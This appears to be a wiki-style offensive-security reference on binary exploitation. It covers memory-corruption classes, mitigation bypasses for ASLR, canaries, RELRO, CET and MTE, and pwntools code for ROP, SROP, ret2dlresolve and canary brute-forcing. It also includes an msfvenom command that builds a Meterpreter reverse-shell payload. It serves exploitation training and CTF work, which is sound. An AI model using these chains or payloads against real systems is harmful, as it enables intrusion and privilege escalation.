| title | Binary Exploitation | ||||
|---|---|---|---|---|---|
| type | technique | ||||
| tags |
|
||||
| phase | exploitation | ||||
| date_created | 2026-05-08 | ||||
| date_updated | 2026-07-14 | ||||
| sources |
|
Binary exploitation is the practice of finding and leveraging memory-corruption or logic flaws in compiled programs to gain arbitrary code execution, information disclosure, or privilege escalation. It applies on any target where you have a shell or can submit input to a locally-running binary.
- Low-privilege shell on target (or local binary for CTF/lab)
- Ability to execute the binary and observe output/crashes
- Knowledge of target architecture (x86-64 is default below)
| Class | Root cause | Typical impact |
|---|---|---|
| Stack buffer overflow | Write past fixed-size stack buffer | Control RIP (return address) |
| Heap buffer overflow | Write past heap allocation | Corrupt adjacent chunk metadata or data |
| Use-after-free (UAF) | Use pointer after free() |
Read/write freed memory; hijack vtable |
| Double-free | free() same pointer twice |
Corrupt allocator freelist → arbitrary alloc |
| Format string | Attacker controls printf format arg |
Arbitrary read (%s) or write (%n) |
| Integer overflow | Signed/unsigned wraparound in size calc | Undersized allocation → overflow |
| Type confusion | Object used as wrong type | Corrupt object fields; vtable hijack |
| TOCTOU race | Check then use with window | Bypass check; race to swap file/fd |
| Null pointer deref | Dereference NULL | Usually DoS only; exploitable if lower mapping exists |
| Protection | checksec flag |
Effect | Bypass approach |
|---|---|---|---|
| ASLR | kernel (/proc/sys/kernel/randomize_va_space) |
Randomizes stack, heap, libraries | Info leak → compute base; partial overwrite |
| NX / DEP | NX enabled |
Stack/heap not executable | ROP chain; ret2libc |
| Stack canary | Canary found |
Random cookie before return address | Leak canary via format string or partial read |
| PIE | PIE enabled |
Binary base randomized | Info leak; partial 1-byte overwrite |
| RELRO Partial | Partial RELRO |
.got writable after load |
GOT overwrite |
| RELRO Full | Full RELRO |
.got AND .fini_array read-only after load |
No GOT/fini_array write; find writable target |
| Fortify Source | FORTIFY |
Runtime checks on strcpy, memcpy, etc. |
Find unchecked path |
| CFI | — | Forward-edge control flow validation | Very hard; find call site without CFI coverage |
checksec --file=./binary
checksec --proc-all # running processesRun feasibility analysis before writing exploit code. The table below maps glibc version to what technique dies:
| glibc version | What breaks |
|---|---|
| 2.29+ | Tcache hardening — checks key field on double-free |
| 2.32+ | Safe linking — freelist pointers XOR'd with heap_base >> 12; must leak to compute |
| 2.34+ | __malloc_hook / __free_hook / __realloc_hook removed — overwriting them does nothing |
| 2.35+ | __after_morecore_hook removed |
| 2.38+ | %n format specifier blocked empirically on many distros (test — don't assume) |
ldd --version | head -1 # glibc version on target
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"Environment downgrade: If modern mitigations block all paths, run the binary inside Docker with Ubuntu 20.04 (glibc 2.31) to re-enable hooks and disable safe linking:
docker run -it --rm -v $(pwd):/work ubuntu:20.04 bashRun this before writing a single line of exploit code. checksec shows what protections exist; feasibility analysis shows what's actually possible given the combination of protections + input handler + glibc version.
from packages.exploit_feasibility import analyze_binary, format_analysis_summary
result = analyze_binary('./target')
print(format_analysis_summary(result, verbose=True))Verdict system:
| Verdict | Meaning |
|---|---|
| Exploitable | Good primitives, clear path to code execution |
| Difficult (Constrained) | Primitives exist but hard to chain; consider alternatives |
| Unlikely (Blocked) | No known viable path with current constraints |
| Not Applicable | Web vuln; memory mitigations don't apply |
Two-axis model: verdict (can you trigger it?) is separate from impact (what happens?). A null pointer dereference can be "Exploitable" with impact "DoS" — the bug is real and controllable, but only crashes the process.
Chain breaks — respect them:
Full RELROlisted → do NOT try GOT overwrite OR.fini_array(same segment)hooks removedlisted → do NOT try__malloc_hook/__free_hook%n blockedlisted → do NOT try format string write
Enabling vulnerabilities (low standalone impact, critical for chaining):
- Info leak → leaks ASLR base (turns Unlikely → Exploitable)
- Format string read → leaks canary (unblocks stack overflow)
- UAF read → leaks heap layout (enables safe-linking bypass)
# 1. Find overflow offset
from pwn import *
io = process('./binary')
io.sendline(cyclic(200))
io.wait()
core = Coredump('./core')
print(cyclic_find(core.fault_addr)) # offset to RIP
# 2. Basic ret2libc (no PIE, no ASLR)
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # leak puts@got
rop.call('main') # loop back
# ... receive leak, compute libc base, call system('/bin/sh')Pattern for ASLR + PIE:
- Info leak → compute PIE base and/or libc base
- Build ROP using known offsets from base
- Overwrite return address with ROP chain
Allocate chunk → free → free again (double-free, pre-2.29)
tcache next pointer now points to fake chunk
→ next malloc returns fake chunk → arbitrary write
Freelist ptrs are stored as ptr XOR (heap_base >> 12). Must leak heap address to decode/encode.
# Decode stored pointer
stored = 0xdeadbeef12345678
decoded = stored ^ (heap_leak >> 12)# Overwrite got[puts] with system address
target = elf.got['puts']
payload = b'A' * offset + p64(target).bsswritable globals (function pointers, state flags)- Stack return address (requires stack leak with ASLR)
__stack_chk_fail@got(Partial RELRO only)- C++ vtable entries in heap (UAF → arbitrary virtual call)
# Find ROP gadgets
ROPgadget --binary ./binary --rop
ropper --file ./binary --search "pop rdi"
# Find one-gadget (requires libc leak)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Output shows constraints: [rsp+0x50] == NULL, etc.Bad byte filtering: If input handler is strcpy, null bytes (0x00) terminate input. On x86-64, canonical addresses have null at byte 6–7 — multi-gadget chains with pop rdi ; ret + address are blocked. One-gadget with satisfiable constraints is often the only path.
ROP chain skeleton (ret2libc):
from pwn import *
elf = ELF('./binary'); libc = ELF('./libc.so.6')
rop = ROP([elf, libc])
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(next(elf.search(b'/bin/sh\x00')))
rop.raw(rop.find_gadget(['ret'])) # stack alignment for Ubuntu
rop.raw(libc.sym['system'])When you have no libc leak / few gadgets:
- ret2csu: the
__libc_csu_init"universal gadget" (non-PIE, pre-2.34) setsrdi/rsi/rdxfrompop rbx/rbp/r12/r13/r14/r15thencall [r15+rbx*8]- control 3 args when no cleanpop rdxgadget exists. - ret2dlresolve: forge
Elf64_Rela+Elf64_Sym+ string in a writable area and jump to_dl_runtime_resolve(PLT[0]) to resolvesystemfrom the dynamic linker - no libc leak needed. Partial RELRO only.pwntools:Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']). - SROP (sigreturn-oriented programming): if you control a
syscall; retand can setrax=15(sigreturn), push a fakesigcontextframe on the stack to load every register at once -> callexecve("/bin/sh",0,0). Ideal for tiny statically-linked binaries /read-primitive-only.pwntools:SigreturnFrame(). - ret2syscall (static binaries): chain
pop rax/rdi/rsi/rdx+syscallto callexecvedirectly when there is no libc.
# SROP example
frame = SigreturnFrame()
frame.rax = constants.SYS_execve; frame.rdi = binsh
frame.rsi = 0; frame.rdx = 0; frame.rip = syscall_ret
payload = b'A'*offset + p64(pop_rax_ret) + p64(15) + p64(syscall_ret) + bytes(frame)Seccomp jails: dump the filter with seccomp-tools dump ./binary; if execve is blocked, switch to an ORW chain (open/read/write the flag) instead of a shell.
| Primitive | Impact | Notes |
|---|---|---|
| Arbitrary write | Critical | Write controlled data to controlled address |
| Controlled jump | Critical | Redirect execution to arbitrary address |
| Constrained write | High | Write controlled data to semi-controlled address |
| Info leak | High | Read arbitrary memory; enables ASLR bypass |
| Constrained jump | Medium | Jump to limited set (ROP gadgets) |
| Crash only | Low | No control; DoS only |
Primitives chain: info leak → ASLR bypass → constrained write → controlled jump → shell.
| Signal | Address | Likely exploitability |
|---|---|---|
| SIGSEGV | Controlled (0x4141414141) | Exploitable — controlled RIP or arbitrary write |
| SIGSEGV | Low (0x0–0xFFFF) | Usually DoS — null ptr deref |
| SIGSEGV | Heap address | Possibly — UAF or heap corruption |
| SIGABRT | From malloc/free | Possibly — heap corruption; check double-free |
| SIGABRT | From assert | Rarely — logic error |
| SIGFPE | Division by zero | Usually DoS |
| SIGFPE | Integer overflow | Depends on consequence |
| SIGILL | Any | Highly — RIP corrupted to non-code |
When strcpy/recv strips certain bytes, the shellcode or address is corrupted mid-payload. Identify bad chars before writing shellcode.
# Send all bytes \x01–\xff (excluding known bad \x00) after padding
badchars = bytes(range(1, 256))
io.sendline(b"A" * offset + b"C" * 4 + badchars)In GDB/GEF, inspect where the sequence breaks:
gef> x/20c $esp # scan stack bytes; find first missing/garbled byteRemove the offending byte, re-send, repeat until clean run. Then pass the full bad-char list to msfvenom:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=5555 \
-b '\x00\x0a\x33\x42\x55\xcb' PrependSetuid=true -f python -o buf.pyHardware breakpoints: Software breakpoints (break *0xADDR) inject \xCC opcodes and can shift stack addresses during shellcode testing. Use hardware breakpoints instead:
gef> hb *0xffffcd30When the binary has no debug symbols (file shows stripped):
info functionsshows only PLT stubs — nomain,vuln, etc.- Use a decompiler (Ghidra, IDA Free) to trace execution from
_start→ locate the priv-escalation or shell-spawning function. - In GDB, disassemble at the raw address:
disas 0x08049236 - The
findcommand can locate strings:find &system,+9999999,"/bin/sh"
For local privilege escalation via a vulnerable setuid function (not shellcode):
# Just overwrite EIP/RIP with the address of the vulnerable function
eip = p32(0x08049236) # function that calls setuid(0) + execve("/bin/sh")
payload = b"A" * offset + eipSee [[seh-exploitation]] for the full technique. Key differences from standard stack BOF:
- Overflow must reach the SEH record (
[next_SEH][SE_handler]on the stack) - Trigger an exception (path-traversal prefix, AV, divide-by-zero)
- Point
SE_handlerat aPOP; POP; RETgadget (in a module without SAFESEH/ASLR) - Place short-jump bytes (
\xeb\x04\x90\x90) atnext_SEHslot - Shellcode sits earlier in the buffer; a long backward jump reaches it
When the stack/region is executable (checksec shows NX disabled, or a mprotect/RWX map),
skip ROP and jump straight to inline shellcode. If ASLR randomizes the stack you cannot hardcode
its address, so ret2reg: find a register that already points at your buffer at the return site
and jump through it.
ropper --file ./vuln --search "jmp esp" # or jmp eax / call eax / jmp rsp
ROPgadget --binary ./vuln --only "jmp|call" | grep -iE "esp|eax|rsp"# EIP -> `jmp esp` gadget, shellcode placed right after it on the stack
sc = asm(shellcraft.sh()) # or msfvenom with -b to avoid bad chars
payload = b"A"*offset + p32(JMP_ESP) + scPick the reg by inspecting registers at the crash (info registers in GDB) for one aimed into
your controlled data. On x86 jmp esp from a non-ASLR module is the classic SEH/BOF primitive.
ARM64 equivalent (br x/inline) exists but NX is hardware-enforced on Apple arm64 so no stack
shellcode there.
Forked service brute-force: a server that fork()s per connection reuses the SAME canary (and
stack/PIE base) in every child, so leak it one byte at a time by overflowing exactly onto the
canary and testing crash vs no-crash. 8 bytes x max 256 tries.
canary = b""
while len(canary) < 8:
for b in range(256):
r = remote(host, port)
r.send(b"A"*offset + canary + bytes([b]))
if b"OK-marker" in r.clean(): # survived -> byte correct
canary += bytes([b]); r.close(); break
r.close()Threads share the canary too, and a bof in a thread stack can reach and rewrite the master
canary in TLS (both copies then match, check passes). PIE/stack addresses in the same forked
process are brute-forceable byte-by-byte the same way (or partial-overwrite the low bytes since
the low 12 bits survive ASLR). Note: statically-compiled canaries may not show in checksec;
confirm by spotting a value saved at prologue and checked before ret.
Three exploitable shapes:
- Truncated size:
uint32_t n = (uint32_t)(count*elem);wraps to a tiny value, the buffer is under-allocated, then a full-size copy overflows the heap into an adjacent object (e.g. flipis_admin). Trigger withcount = 2**32,elem = 1-> alloc 32, copy huge. - Unsigned underflow:
size_t payload = total - HEADER;withtotal < HEADERyields a near-max size_t, so a bounded read still walks far past the small buffer. - Signed-to-unsigned: a negative user int used as a
size_tlength or as> 1000becomes huge; a 1-byte length field lets 260 masquerade as 4 to pass a length check then overflow.
io.sendlineafter(b"Entry count: ", b"4294967296") # 2**32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32
io.send(b"A"*48 + p32(1)) # overwrite is_adminArray indexing: no specific method, it is index math without a bound. Classic wins: two parallel
arrays (addresses[] and sizes[]) that collide so writing a "size" is really an address write ->
put a GOT address as a size, overwrite free@GOT with system, free a /bin/sh chunk. Or an
off-by-one on a stack array to control an adjacent pointer -> write-what-where. Unchanged on ARM64.
Once you have a write-what-where, where you point it depends on RELRO/glibc era:
- GOT/PLT entry (Partial/No RELRO): overwrite a soon-called func with
system/one_gadget. Full RELRO kills GOT and.fini_array. __exit_funcs/atexithandlers (fired byexit()or return from main, which is__run_exit_handlers(&__exit_funcs,...)): pointers arePTR_MANGLEd (rol 0x11 then xor with the TLS pointer-guard cookie). Recover the cookie from the known_dl_finief_cxaentry, or zero the cookie so demangle is just a rotate, then forge a fakeexit_function_listwith anef_cxaentry{fn=mangled(system), arg=binsh}and repoint__exit_funcs.ror = lambda x,n: ((x>>n)|(x<<(64-n))) & ((1<<64)-1) rol = lambda x,n: ((x<<n)|(x>>(64-n))) & ((1<<64)-1) guard = ror(enc_dl_fini, 0x11) ^ real_dl_fini enc_sys = rol(real_system ^ guard, 0x11)
.fini_array/ ld.solink_map: overwritel_info[DT_FINI_ARRAY](or the stack pointer to link_map) to a fake array whose first entry is a one_gadget; also usable to build an eternal write loop via__libc_csu_fini.- TLS
tls_dtor_list(run by__call_tls_dtorson exit): sits next to the canary and mangle cookie; overflow the cookie to 0 then chain{func, obj}destructors. __printf_arginfo_table/ vtable (__free_hook/__malloc_hookon <=2.33): legacy but easy when present. Debug checklist:b __run_exit_handlers,x/10gx &__exit_funcs,x/gx $fs_base+0x30. Useless if the target ends via_exit()(no handlers run).
Newer x86 CPUs/OSes ship CET: a hardware Shadow Stack (SHSTK) keeps a protected copy of return
addresses, and every ret faults (Control-Protection) if the normal-stack return does not match.
This breaks ret2*, ROP chains, and leave;ret / EBP2Ret pivots at the first ret. IBT
(endbr64) additionally forces indirect branches to land on marked targets, hurting JOP.
readelf -n ./bin | grep -E 'SHSTK|IBT' # is the binary CET-marked?
grep -E 'user_shstk|ibt' /proc/cpuinfo # CPU/kernel capable?
grep x86_Thread_features /proc/$$/status # active for this process? expect: shstkImplications for exploitation: prefer non-ret control transfers, data-only / write-what-where
targets (__exit_funcs, GOT with Partial RELRO), or SROP where the target does not authenticate.
Lab-only: boot param nousershstk disables it (never on production targets). Windows exposes the
same as CETCOMPAT / Hardware-enforced Stack Protection. Related ARM64 analogues: PAC (signs
return addresses) and BTI.
MTE is ARMv8.5 hardware that tags every 16-byte memory granule with a 4-bit key and stores a matching tag in the top byte of each pointer. On access the hardware compares pointer tag vs memory tag; a mismatch means an OOB or use-after-free. It is the tagging engine behind Android's hardware scudo/MTE heap and in-kernel Hardware-Tag-Based KASAN.
First triage question is not "does the CPU support MTE" but "is this process actually running tagged and enforcing":
grep -i mte /proc/cpuinfo # HWCAP2_MTE advertised
readelf -n ./target | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)' # note: BTI/PAC, not a reliable MTE-on check
rg -n 'PROT_MTE|PR_SET_TAGGED_ADDR_CTRL|memtagMode' . # source/manifest indicators
# Android per-process fault mode:
adb shell debuggerd <pid> | head -30 | grep tagged_addrCheck modes and why they matter to an exploit:
- SYNC: the faulting load/store is blocked before its effect is visible (
SIGSEGV/SEGV_MTESERR). Hardest to beat. - ASYNC: checked lazily, process usually dies on the next kernel entry (
SEGV_MTEAERR). A corruption that completes inside one quiet window before the next syscall/scheduler event can still land, so ASYNC/ASYMM are the softer targets. - ASYMM (sync reads, async writes) and per-core preferred modes:
/sys/devices/system/cpu/cpu*/mte_tcf_preferredcan silently upgrade a process to a stricter mode when it migrates cores, so theprctl()request is not always the mode you actually attack.
Practical bypasses (MTE is probabilistic, not a wall):
- Leak the tag: with the tag known the mitigation collapses.
PTRACE_PEEKMTETAGS/POKEMTETAGSread/write tags in a tracee for local PoCs. - Tag collision on reuse: a blind UAF where the chunk is reallocated with the same tag succeeds at roughly
1/14per try (values0xE/0xFare reserved in common Linux implementations, so 14 practical tags, not 16). Kernel path note: tag0xFhas match-all behavior in several kernel code paths, so forged0xFpointers are prized in kernel exploitation. - Intra-granule overflow: a 35-byte request occupies the 32-48 granule, so bytes 36-47 share the object's tag and an overflow into them is invisible. The last-granule slack is the most reliable MTE blind spot.
- Untagged paths:
vmalloc, stacks (unless built with-fsanitize=memtagsync stack tagging), globals, and DMA buffers are often not covered. PSTATE.TCO: a thread can disable its own tag checking once you already have controlled execution (post-corruption, not a pre-exploitation bypass).- Speculative tag leak (TikTag, 2024): TIKTAG-v1/v2 gadgets recover the 4-bit tag of an arbitrary address with >95% success in under 4s via a speculative tag-checked access plus a cache side channel, demonstrated against Chrome and the Linux kernel. This turns MTE from probabilistic into systematically derandomizable: leak the vuln object's tag, leak the target's tag, groom until they match, then fire the UAF/OOB with the correct tag.
Cross-refs: [[binary-exploitation]] CET/shadow-stack and PAC/BTI sit alongside MTE as the ARM64 mitigation stack; [[kernel-exploitation]] for the KASAN-MTE kernel angle.
- [[heap-exploitation]] — glibc heap deep-dive: tcache poisoning, fastbin/large-bin, house-of, FSOP, version-target matrix
- [[format-string]] -
%s/%nread/write primitives, GOT overwrite, offset finding - [[rop-techniques]] - stack pivoting, BROP, ret2csu, ret2dlresolve
- [[arm64-exploitation]] - AArch64 stack overflow, ret2win, ret2syscall, PAC/BTI
- [[seh-exploitation]] — Windows SEH exploitation deep-dive
- Dirty Frag (CVE-2026-43284 / CVE-2026-43500) — kernel page-cache write primitive; same bug class as Dirty Pipe and Copy Fail
- [[linux-privesc]] — Linux privilege escalation overview including kernel LPE CVEs
- [[ios-exploitation]] — XNU userland and kernel exploitation, PAC/PPL/SPTM mitigations, jailbreak chains
- [[crypto-constant-identification]] — spotting known crypto/compression algorithm constants in a stripped binary during RE
# Binary analysis
checksec --file=./binary
file ./binary
strings ./binary | grep -E "flag|pass|key|secret"
# Run with GDB / pwndbg
gdb -q ./binary
(gdb) run < <(python3 -c "print('A'*100)")
(gdb) info registers
(gdb) x/20gx $rsp
# Pwntools skeleton
from pwn import *
context.binary = elf = ELF('./binary')
p = process('./binary')
# p = remote('host', port)
# patchelf — swap interpreter/libc for version testing
patchelf --set-interpreter /path/to/ld.so ./binary
patchelf --replace-needed libc.so.6 /path/to/libc.so.6 ./binary- Technique variant: Gopher SSRF, LibreOffice Macro Phishing, tcpdump Exploit
- Attack path: Gopher protocol SSRF via internal proxy, craft phishing doc with LibreOffice macro, tcpdump SUID for root